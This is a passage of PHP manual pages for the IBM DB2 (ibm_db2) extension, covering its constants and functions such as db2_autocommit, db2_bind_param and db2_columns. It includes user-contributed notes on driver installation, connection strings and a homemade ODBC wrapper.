The explanation of ibm_db2.i5_allow_commit seems to be slightly difficult to understand for me.

I think it would be better to replace "no commit" with "can not use commitment control" or "do not allow transaction", and "allow commit" would be changed into
"can use commitment control" or "allow transaction" , Thanks.
yoshida at zend dot co dot jp 23-Feb-2011 04:00
The explanation of ibm_db2.i5_dbcs_alloc seems to be hard to understand for me.

In ibm_db2 extension inside, 6 times length of string column is allocated if i5_dbcs_alloc value is 1.
The allocated area is used for conversion between UTF-8 and EBCDIC character encodings.

By the definition of UTF-8, letter length can need 6 bytes at the maximum.

Note:
In the case of a long column, allocated size may be beyond the upper limit defined in DB2 because original column is made by 6 times.  It can cause result data becomes null.


Resource Types

The ibm_db2 extension returns connection resources, statement resources, and result set resources.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

DB2_BINARY (integer)
Specifies that binary data shall be returned as is. This is the default mode.
DB2_CONVERT (integer)
Specifies that binary data shall be converted to a hexadecimal encoding and returned as an ASCII string.
DB2_PASSTHRU (integer)
Specifies that binary data shall be converted to a NULL value.
DB2_SCROLLABLE (integer)
Specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.
DB2_FORWARD_ONLY (integer)
Specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.
DB2_PARAM_IN (integer)
Specifies the PHP variable should be bound as an IN parameter for a stored procedure.
DB2_PARAM_OUT (integer)
Specifies the PHP variable should be bound as an OUT parameter for a stored procedure.
DB2_PARAM_INOUT (integer)
Specifies the PHP variable should be bound as an INOUT parameter for a stored procedure.
DB2_PARAM_FILE (integer)
Specifies that the column should be bound directly to a file for input.
DB2_AUTOCOMMIT_ON (integer)
Specifies that autocommit should be turned on.
DB2_AUTOCOMMIT_OFF (integer)
Specifies that autocommit should be turned off.
DB2_DOUBLE (integer)
Specifies that the variable should be bound as a DOUBLE, FLOAT, or REAL data type.
DB2_LONG (integer)
Specifies that the variable should be bound as a SMALLINT, INTEGER, or BIGINT data type.
DB2_CHAR (integer)
Specifies that the variable should be bound as a CHAR or VARCHAR data type.
DB2_CASE_NATURAL (integer)
Specifies that column names will be returned in their natural case.
DB2_CASE_LOWER (integer)
Specifies that column names will be returned in lower case.
DB2_CASE_UPPER (integer)
Specifies that column names will be returned in upper case.
DB2_DEFERRED_PREPARE_ON (integer)
Specifies that deferred prepare should be turned on for the specified statement resource.
DB2_DEFERRED_PREPARE_OFF (integer)
Specifies that deferred prepare should be turned off for the specified statement resource.

User Contributed Notes

There are no user contributed notes for this page.


IBM DB2 Functions

Table of Contents

  • db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection
  • db2_bind_param — Binds a PHP variable to an SQL statement parameter
  • db2_client_info — Returns an object with properties that describe the DB2 database client
  • db2_close — Closes a database connection
  • db2_column_privileges — Returns a result set listing the columns and associated privileges for a table
  • db2_columns — Returns a result set listing the columns and associated metadata for a table
  • db2_commit — Commits a transaction
  • db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg — Returns the last connection error message and SQLCODE value
  • db2_connect — Returns a connection to a database
  • db2_cursor_type — Returns the cursor type used by a statement resource
  • db2_escape_string — Used to escape certain characters
  • db2_exec — Executes an SQL statement directly
  • db2_execute — Executes a prepared SQL statement
  • db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object — Returns an object with properties representing columns in the fetched row
  • db2_fetch_row — Sets the result set pointer to the next row or requested row
  • db2_field_display_size — Returns the maximum number of bytes required to display a column
  • db2_field_name — Returns the name of the column in the result set
  • db2_field_num — Returns the position of the named column in a result set
  • db2_field_precision — Returns the precision of the indicated column in a result set
  • db2_field_scale — Returns the scale of the indicated column in a result set
  • db2_field_type — Returns the data type of the indicated column in a result set
  • db2_field_width — Returns the width of the current value of the indicated column in a result set
  • db2_foreign_keys — Returns a result set listing the foreign keys for a table
  • db2_free_result — Frees resources associated with a result set
  • db2_free_stmt — Frees resources associated with the indicated statement resource
  • db2_get_option — Retrieves an option value for a statement resource or a connection resource
  • db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection
  • db2_lob_read — Gets a user defined size of LOB files with each invocation
  • db2_next_result — Requests the next result set from a stored procedure
  • db2_num_fields — Returns the number of fields contained in a result set
  • db2_num_rows — Returns the number of rows affected by an SQL statement
  • db2_pclose — Closes a persistent database connection
  • db2_pconnect — Returns a persistent connection to a database
  • db2_prepare — Prepares an SQL statement to be executed
  • db2_primary_keys — Returns a result set listing primary keys for a table
  • db2_procedure_columns — Returns a result set listing stored procedure parameters
  • db2_procedures — Returns a result set listing the stored procedures registered in a database
  • db2_result — Returns a single column from a row in the result set
  • db2_rollback — Rolls back a transaction
  • db2_server_info — Returns an object with properties that describe the DB2 database server
  • db2_set_option — Set options for connection or statement resources
  • db2_special_columns — Returns a result set listing the unique row identifier columns for a table
  • db2_statistics — Returns a result set listing the index and statistics for a table
  • db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg — Returns a string containing the last SQL statement error message
  • db2_table_privileges — Returns a result set listing the tables and associated privileges in a database
  • db2_tables — Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

igtoth at gmail dot com 10-May-2014 11:27
// IBM DB2 funcitons like MySQL (ODBC based)
// "Ighor Toth" <igtoth@gmail.com>
// Date: 08/05/2014

// usage:
// db2_connect(verbose,instance,username,password); -> also reads config file if nothing declared db2.conf.inc.php
// db2_query(db2_connect_return,sql)
// db2_fetch_array(result);
// db2_fetch_object(result);
// db2_display_table(db2_connect_return,sql); // select only

function db2_connect($verbose = null,$db2name = null,$username = null,$password = null) {
    if(!isset($verbose)){
        $verbose = TRUE; // TRUE or FALSE, if not set TRUE
    }
    if(!isset($db2name)){ // NOT DECLARED
        include("db2.conf.inc.php"); // CHECK CONFIG FILE
        if(!isset($db2name)){
            if ($verbose == TRUE){
                echo ("DB2 Instance not selected");
                exit();
            } else {
                exit();
            }
        }
    } else if (!isset($username)){
        echo ("DB2 Instance username not specified");
        exit();
    }
    $db2conn = odbc_connect($db2name, $username, $password);
    if (($verbose == TRUE) && ($db2conn == 0)) {
        echo("Connection to database failed.");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    }
    return($db2conn);
}

function db2_query($db2conn,$sql){
    $result = odbc_exec($db2conn, $sql);
    if ($result == 0) {
        echo("QUERY = '$sql' FAILED.<br>\n");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    } else {
        // odbc_result_all prints all of the rows
        // for a result set ID as an HTML table
        return $result;
    }
}

 function db2_fetch_array($result, $rownumber=null){
    $array = array();
    if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
        return false;
    }
    for ($i = 1; $i <= $cols; $i++) {
        $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
    }
    return $array;
}

function db2_fetch_object($result){
    if(function_exists("db2_fetch_object")) return db2_fetch_object($result);
    $rs = array();
    $rs_obj = false;
    if( odbc_fetch_into($result, $rs) ){
        foreach( $rs as $key=>$value ){
            $fkey = odbc_field_name($result, $key+1);
            $rs_obj->$fkey = trim($value);
        }
    }
    return $rs_obj;
}

function db2_display_table($db2conn,$sql) {
    // select all rows from the table
    if(!isset($db2conn)||!isset($sql)){
        echo("ERROR db2_display_table: Function missing arguments");
        exit();
    }
    $check = explode(" ",$sql);
    if($check[0]!="SELECT"){
        echo("ERROR db2_display_table: Not SELECT SQL query");
    }
    if ($db2conn != 0) {
        // odbc_exec returns 0 if the statement fails;
        // otherwise it returns a result set ID
        $result = odbc_exec($db2conn, $sql);
        if ($result == 0) {
            echo("SELECT statement failed.");
            $sqlerror = odbc_errormsg($db2conn);
            echo($sqlerror);
        } else {
            // odbc_result_all prints all of the rows
            // for a result set ID as an HTML table
            odbc_result_all($result);
        }
    }
}
Richard dot Ablewhite at gmail dot com 11-Sep-2008 12:17
There seems to be a lot of good documentation
for Linux users compiling PHP with DB2 support,
but decent Windows notes are minimal.

You do not need to install full DB2 clients to get DB2
working with DB2, all you need is the IBM Data
Server Driver for ODBC, CLI, and .NET which is only
16.1 meg.

You can download the driver from here:

Direct Link:
ftp://ftp.software.ibm.com/ps/products/db2/fixes2/englsh-us/
db2_v95/dsdriver/fp2/v9.5fp2_nt32_dsdriver_EN.exe

Home Page:
http://www-01.ibm.com/support/docview.wss?rs=71&uid=swg21287889

This includes both the drivers required and the PHP
dll php_ibm_db2_5.2.2.dll

Once installed the drivers do not setup the correct
path environmental variable,
so add the following to your path:

C:\Program Files\IBM\IBM DATA SERVER DRIVER\bin

Once thats done all should work! No massive
400meg client downloads required.

Whats even better about these drivers is that you
dont need to install them,
you can simply copy the bin directory to any server,
add it to your path and it will just work.
This is great for anyone developing PHP-GTK applications,
I copy the bin directory into my php-gkt2 directory
and execute using the following batch script:

path = %PATH%;.\IBM DATA SERVER DRIVER\bin
php-win.exe %*

This lets me role out lightweight DB2 client desktop
apps that dont have to be installed,
can just be coppied from PC to PC or ran over a
network or from USB stick.

As your only installing the client drivers you wont be
able to catalog databases,
so always use the full connection string. Here is a
quick bit of code to get you started:

$database = 'databasename';
$user = 'user';
$password = 'password';
$hostname = '127.0.0.1';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;".
  "PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

$query = 'SELECT * FROM TABLE';
$res = db2_prepare($conn, $query);
db2_execute($res);

while ($row = db2_fetch_array($res)) {
  print_r($row);
}
brent dot halsey at gmail dot com 11-Jun-2008 07:57
Spent a lot of time trying to get this to work on a 64bit box.  You'll need to make sure you set your db2 client to 64 bit mode!  If you didn't set your instance to 64bit, you can run ./db2iupdt -w64 db2instance as root to set it.  Hope this helps someone!
Exi 05-Jun-2008 10:38
The DB/2 Run-Time-Client can be found here:
http://www-1.ibm.com/support/docview.wss?rs=71&uid=swg21255394
Select the 'Runtime Client Installable for Windows' further down the page and download it.
Clients for other platform (incl. 64-Bit Windows) are also available from that page.
kfoubert at sitecrafting dot com 29-Apr-2008 08:00
If you wish to connect to an iSeries Server, such as an AS/400, there are two options. Installing DB2 Express-C v9.5 and purchasing DB2 Connect Personal Edition for about $500 or getting System I Access for Linux, which is a free download. Please note the server requirements for each of these. For example, we originally went with DB2 Express-C and decided upon Ubuntu 7.10, but learned about System I Access, from an IBM rep, which requires redhat package manager, after the entire server was up and running.

DB2 Express-C
http://www-306.ibm.com/software/data/db2/express/

DB2 Connect Personal
http://www-306.ibm.com/software/data/db2/db2connect/edition-pe.html

System I Access for Linux
http://www-03.ibm.com/systems/i/software/access/index.html
NOTE: System I Access requires redhat package manager.


Returns or sets the AUTOCOMMIT state for a database connection

  • « IBM DB2 Functions
  • db2_bind_param »
  • PHP Manual
  • IBM DB2 Functions
  • Returns or sets the AUTOCOMMIT state for a database connection

db2_autocommit

(PECL ibm_db2 >= 1.0.0)

db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection

Description

mixed db2_autocommit ( resource $connection [, bool $value ] )

Sets or gets the AUTOCOMMIT behavior of the specified connection resource.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

value

One of the following constants:

DB2_AUTOCOMMIT_OFF

Turns AUTOCOMMIT off.

DB2_AUTOCOMMIT_ON

Turns AUTOCOMMIT on.

Return Values

When db2_autocommit() receives only the connection parameter, it returns the current state of AUTOCOMMIT for the requested connection as an integer value. A value of 0 indicates that AUTOCOMMIT is off, while a value of 1 indicates that AUTOCOMMIT is on.

When db2_autocommit() receives both the connection parameter and autocommit parameter, it attempts to set the AUTOCOMMIT state of the requested connection to the corresponding state. Returns TRUE on success or FALSE on failure.

Examples

Example #1 Retrieving the AUTOCOMMIT value for a connection

In the following example, a connection which has been created with AUTOCOMMIT turned off is tested with the db2_autocommit() function.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);
$ac = db2_autocommit($conn);
if ($ac == 0) {
    print "$ac -- AUTOCOMMIT is off.";
} else {
    print "$ac -- AUTOCOMMIT is on.";
}
?>

The above example will output:

0 -- AUTOCOMMIT is off.

Example #2 Setting the AUTOCOMMIT value for a connection

In the following example, a connection which was initially created with AUTOCOMMIT turned off has its behavior changed to turn AUTOCOMMIT on.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);

// Turn AUTOCOMMIT on
$rc = db2_autocommit($conn, DB2_AUTOCOMMIT_ON);
if ($rc) {
    print "Turning AUTOCOMMIT on succeeded.\n";
}

// Check AUTOCOMMIT state
$ac = db2_autocommit($conn);
if ($ac == 0) {
    print "$ac -- AUTOCOMMIT is off.";
} else {
    print "$ac -- AUTOCOMMIT is on.";
}
?>

The above example will output:

Turning AUTOCOMMIT on succeeded.
1 -- AUTOCOMMIT is on.

See Also

  • db2_connect() - Returns a connection to a database
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.


Binds a PHP variable to an SQL statement parameter

  • « db2_autocommit
  • db2_client_info »
  • PHP Manual
  • IBM DB2 Functions
  • Binds a PHP variable to an SQL statement parameter

db2_bind_param

(PECL ibm_db2 >= 1.0.0)

db2_bind_param — Binds a PHP variable to an SQL statement parameter

Description

bool db2_bind_param ( resource $stmt , int $parameter-number , string $variable-name [, int $parameter-type [, int $data-type = 0 [, int $precision = -1 [, int $scale = 0 ]]]] )

Binds a PHP variable to an SQL statement parameter in a statement resource returned by db2_prepare(). This function gives you more control over the parameter type, data type, precision, and scale for the parameter than simply passing the variable as part of the optional input array to db2_execute().

Parameters

stmt

A prepared statement returned from db2_prepare().

parameter-number

Specifies the 1-indexed position of the parameter in the prepared statement.

variable-name

A string specifying the name of the PHP variable to bind to the parameter specified by parameter-number.

parameter-type

A constant specifying whether the PHP variable should be bound to the SQL parameter as an input parameter (DB2_PARAM_IN), an output parameter (DB2_PARAM_OUT), or as a parameter that accepts input and returns output (DB2_PARAM_INOUT). To avoid memory overhead, you can also specify DB2_PARAM_FILE to bind the PHP variable to the name of a file that contains large object (BLOB, CLOB, or DBCLOB) data.

data-type

A constant specifying the SQL data type that the PHP variable should be bound as: one of DB2_BINARY, DB2_CHAR, DB2_DOUBLE, or DB2_LONG .

precision

Specifies the precision with which the variable should be bound to the database. This parameter can also be used for retrieving XML output values from stored procedures. A non-negative value specifies the maximum size of the XML data that will be retrieved from the database. If this parameter is not used, a default of 1MB will be assumed for retrieving the XML output value from the stored procedure.

scale

Specifies the scale with which the variable should be bound to the database.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Binding PHP variables to a prepared statement

The SQL statement in the following example uses two input parameters in the WHERE clause. We call db2_bind_param() to bind two PHP variables to the corresponding SQL parameters. Notice that the PHP variables do not have to be declared or assigned before the call to db2_bind_param(); in the example, $lower_limit is assigned a value before the call to db2_bind_param(), but $upper_limit is assigned a value after the call to db2_bind_param(). The variables must be bound and, for parameters that accept input, must have any value assigned, before calling db2_execute().

<?php

$sql = 'SELECT name, breed, weight FROM animals
    WHERE weight > ? AND weight < ?';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

// We can declare the variable before calling db2_bind_param()
$lower_limit = 1;

db2_bind_param($stmt, 1, "lower_limit", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "upper_limit", DB2_PARAM_IN);

// We can also declare the variable after calling db2_bind_param()
$upper_limit = 15.0;

if (db2_execute($stmt)) {
    while ($row = db2_fetch_array($stmt)) {
        print "{$row[0]}, {$row[1]}, {$row[2]}\n";
    }
}
?>

The above example will output:

Pook, cat, 3.2
Rickety Ride, goat, 9.7
Peaches, dog, 12.3

Example #2 Calling stored procedures with IN and OUT parameters

The stored procedure match_animal in the following example accepts three different parameters:

  1. an input (IN) parameter that accepts the name of the first animal as input

  2. an input-output (INOUT) parameter that accepts the name of the second animal as input and returns the string TRUE if an animal in the database matches that name

  3. an output (OUT) parameter that returns the sum of the weight of the two identified animals

In addition, the stored procedure returns a result set consisting of the animals listed in alphabetic order starting at the animal corresponding to the input value of the first parameter and ending at the animal corresponding to the input value of the second parameter.

<?php

$sql = 'CALL match_animal(?, ?, ?)';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

$name = "Peaches";
$second_name = "Rickety Ride";
$weight = 0;

db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "second_name", DB2_PARAM_INOUT);
db2_bind_param($stmt, 3, "weight", DB2_PARAM_OUT);

print "Values of bound parameters _before_ CALL:\n";
print "  1: {$name} 2: {$second_name} 3: {$weight}\n\n";

if (db2_execute($stmt)) {
    print "Values of bound parameters _after_ CALL:\n";
    print "  1: {$name} 2: {$second_name} 3: {$weight}\n\n";

    print "Results:\n";
    while ($row = db2_fetch_array($stmt)) {
        print "  {$row[0]}, {$row[1]}, {$row[2]}\n";
    }
}
?>

The above example will output:

Values of bound parameters _before_ CALL:
  1: Peaches 2: Rickety Ride 3: 0

Values of bound parameters _after_ CALL:
  1: Peaches 2: TRUE 3: 22

Results:
  Peaches, dog, 12.3
  Pook, cat, 3.2
  Rickety Ride, goat, 9.7

Example #3 Inserting a binary large object (BLOB) directly from a file

The data for large objects are typically stored in files, such as XML documents or audio files. Rather than reading an entire file into a PHP variable, and then binding that PHP variable into an SQL statement, you can avoid some memory overhead by binding the file directly to the input parameter of your SQL statement. The following example demonstrates how to bind a file directly into a BLOB column.

<?php
$stmt = db2_prepare($conn, "INSERT INTO animal_pictures(picture) VALUES (?)");

$picture = "/opt/albums/spook/grooming.jpg";
$rc = db2_bind_param($stmt, 1, "picture", DB2_PARAM_FILE);
$rc = db2_execute($stmt);
?>

See Also

  • db2_execute() - Executes a prepared SQL statement
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.


Returns an object with properties that describe the DB2 database client

  • « db2_bind_param
  • db2_close »
  • PHP Manual
  • IBM DB2 Functions
  • Returns an object with properties that describe the DB2 database client

db2_client_info

(PECL ibm_db2 >= 1.1.1)

db2_client_info — Returns an object with properties that describe the DB2 database client

Description

object db2_client_info ( resource $connection )

This function returns an object with read-only properties that return information about the DB2 database client. The following table lists the DB2 client properties:

DB2 client properties
Property name | Return type | Description
APPL_CODEPAGE | int | The application code page.
CONN_CODEPAGE | int | The code page for the current connection.
DATA_SOURCE_NAME | string | The data source name (DSN) used to create the current connection to the database.
DRIVER_NAME | string | The name of the library that implements the DB2 Call Level Interface (CLI) specification.
DRIVER_ODBC_VER | string | The version of ODBC that the DB2 client supports. This returns a string "MM.mm" where MM is the major version and mm is the minor version. The DB2 client always returns "03.51".
DRIVER_VER | string | The version of the client, in the form of a string "MM.mm.uuuu" where MM is the major version, mm is the minor version, and uuuu is the update. For example, "08.02.0001" represents major version 8, minor version 2, update 1.
ODBC_SQL_CONFORMANCE string

The level of ODBC SQL grammar supported by the client:

MINIMUM

Supports the minimum ODBC SQL grammar.

CORE

Supports the core ODBC SQL grammar.

EXTENDED

Supports extended ODBC SQL grammar.

ODBC_VER | string | The version of ODBC that the ODBC driver manager supports. This returns a string "MM.mm.rrrr" where MM is the major version, mm is the minor version, and rrrr is the release. The DB2 client always returns "03.01.0000".

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns an object on a successful call. Returns FALSE on failure.

Examples

Example #1 A db2_client_info() example

To retrieve information about the client, you must pass a valid database connection resource to db2_client_info().

<?php
$conn = db2_connect( 'SAMPLE', 'db2inst1', 'ibmdb2' );
$client = db2_client_info( $conn );

if ($client) {
    echo "DRIVER_NAME: ";           var_dump( $client->DRIVER_NAME );
    echo "DRIVER_VER: ";            var_dump( $client->DRIVER_VER );
    echo "DATA_SOURCE_NAME: ";      var_dump( $client->DATA_SOURCE_NAME );
    echo "DRIVER_ODBC_VER: ";       var_dump( $client->DRIVER_ODBC_VER );
    echo "ODBC_VER: ";              var_dump( $client->ODBC_VER );
    echo "ODBC_SQL_CONFORMANCE: ";  var_dump( $client->ODBC_SQL_CONFORMANCE );
    echo "APPL_CODEPAGE: ";         var_dump( $client->APPL_CODEPAGE );
    echo "CONN_CODEPAGE: ";         var_dump( $client->CONN_CODEPAGE );
}
else {
    echo "Error retrieving client information.
     Perhaps your database connection was invalid.";
}
db2_close($conn);

?>

The above example will output:

DRIVER_NAME: string(8) "libdb2.a"
DRIVER_VER: string(10) "08.02.0001"
DATA_SOURCE_NAME: string(6) "SAMPLE"
DRIVER_ODBC_VER: string(5) "03.51"
ODBC_VER: string(10) "03.01.0000"
ODBC_SQL_CONFORMANCE: string(8) "EXTENDED"
APPL_CODEPAGE: int(819)
CONN_CODEPAGE: int(819)

See Also

  • db2_server_info() - Returns an object with properties that describe the DB2 database server

User Contributed Notes

There are no user contributed notes for this page.


Closes a database connection

  • « db2_client_info
  • db2_column_privileges »
  • PHP Manual
  • IBM DB2 Functions
  • Closes a database connection

db2_close

(PECL ibm_db2 >= 1.0.0)

db2_close — Closes a database connection

Description

bool db2_close ( resource $connection )

This function closes a DB2 client connection created with db2_connect() and returns the corresponding resources to the database server.

If you attempt to close a persistent DB2 client connection created with db2_pconnect(), the close request is ignored and the persistent DB2 client connection remains available for the next caller.

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a connection

The following example demonstrates a successful attempt to close a connection to an IBM DB2, Cloudscape, or Apache Derby database.

<?php
$conn = db2_connect('SAMPLE', 'db2inst1', 'ibmdb2');
$rc = db2_close($conn);
if ($rc) {
    echo "Connection was successfully closed.";
}
?>

The above example will output:

Connection was successfully closed.

See Also

  • db2_connect() - Returns a connection to a database
  • db2_pclose() - Closes a persistent database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the columns and associated privileges for a table

  • « db2_close
  • db2_columns »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the columns and associated privileges for a table

db2_column_privileges

(PECL ibm_db2 >= 1.0.0)

db2_column_privileges — Returns a result set listing the columns and associated privileges for a table

Description

resource db2_column_privileges ( resource $connection [, string $qualifier [, string $schema [, string $table-name [, string $column-name ]]]] )

Returns a result set listing the columns and associated privileges for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. To match all schemas, pass NULL or an empty string.

table-name

The name of the table or view. To match all tables in the database, pass NULL or an empty string.

column-name

The name of the column. To match all columns in the table, pass NULL or an empty string.

Return Values

Returns a statement resource with a result set containing rows describing the column privileges for columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege for the column.
IS_GRANTABLE | Whether the GRANTEE is permitted to grant this privilege to other users.

See Also

  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the columns and associated metadata for a table

  • « db2_column_privileges
  • db2_commit »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the columns and associated metadata for a table

db2_columns

(PECL ibm_db2 >= 1.0.0)

db2_columns — Returns a result set listing the columns and associated metadata for a table

Description

resource db2_columns ( resource $connection [, string $qualifier [, string $schema [, string $table-name [, string $column-name ]]]] )

Returns a result set listing the columns and associated metadata for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. To match all schemas, pass '%'.

table-name

The name of the table or view. To match all tables in the database, pass NULL or an empty string.

column-name

The name of the column. To match all columns in the table, pass NULL or an empty string.

Return Values

Returns a statement resource with a result set containing rows describing the columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
DATA_TYPE | The SQL data type for the column represented as an integer value.
TYPE_NAME | A string representing the data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the column is nullable or not.
REMARKS | Description of the column.
COLUMN_DEF | Default value for the column.
SQL_DATA_TYPE | An integer value representing the size of the column.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or NULL for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type column, which matches COLUMN_SIZE for single-byte character set data, or NULL for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the column in the table.
IS_NULLABLE | A string value where 'YES' means that the column is nullable and 'NO' means that the column is not nullable.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

Anonymous 25-Sep-2014 07:22
As with previous message, passing null as the last param with db2_columns results in nothing being returned. Passing '%' instead works. The documentation really needs to be updated to correct this error as it's very misleading and was reported as wrong 8 years ago!
david dot rekowski at gmx dot de 06-Aug-2008 04:21
must be
db2_columns($conn, '', '%', $table, '%');

Don't forget that table names are UPPERCASE. That gave me quite some headache.
lada(at)hoidekr.net 05-Sep-2006 08:48
This is not true!
column-name
    The name of the column. To match all columns in the table, pass NULL or an empty string.

You should pass '%' to match all columns


Commits a transaction

  • « db2_columns
  • db2_conn_error »
  • PHP Manual
  • IBM DB2 Functions
  • Commits a transaction

db2_commit

(PECL ibm_db2 >= 1.0.0)

db2_commit — Commits a transaction

Description

bool db2_commit ( resource $connection )

Commits an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_commit() is not necessary unless AUTOCOMMIT has been turned off for the connection resource.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • db2_autocommit() - Returns or sets the AUTOCOMMIT state for a database connection
  • db2_rollback() - Rolls back a transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing the SQLSTATE returned by the last connection attempt

  • « db2_commit
  • db2_conn_errormsg »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a string containing the SQLSTATE returned by the last connection attempt

db2_conn_error

(PECL ibm_db2 >= 1.0.0)

db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt

Description

string db2_conn_error ([ resource $connection ] )

db2_conn_error() returns an SQLSTATE value representing the reason the last attempt to connect to a database failed. As db2_connect() returns FALSE in the event of a failed connection attempt, you do not pass any parameters to db2_conn_error() to retrieve the SQLSTATE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the SQLSTATE value for a specific connection.

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_conn_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

Parameters

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

Return Values

Returns the SQLSTATE value resulting from a failed connection attempt. Returns an empty string if there is no error associated with the last connection attempt.

Examples

Example #1 Retrieving an SQLSTATE value for a failed connection attempt

The following example demonstrates how to return an SQLSTATE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print "SQLSTATE value: " . db2_conn_error();
}
?>

The above example will output:

SQLSTATE value: 08001

See Also

  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_connect() - Returns a connection to a database
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

There are no user contributed notes for this page.


Returns the last connection error message and SQLCODE value

  • « db2_conn_error
  • db2_connect »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the last connection error message and SQLCODE value

db2_conn_errormsg

(PECL ibm_db2 >= 1.0.0)

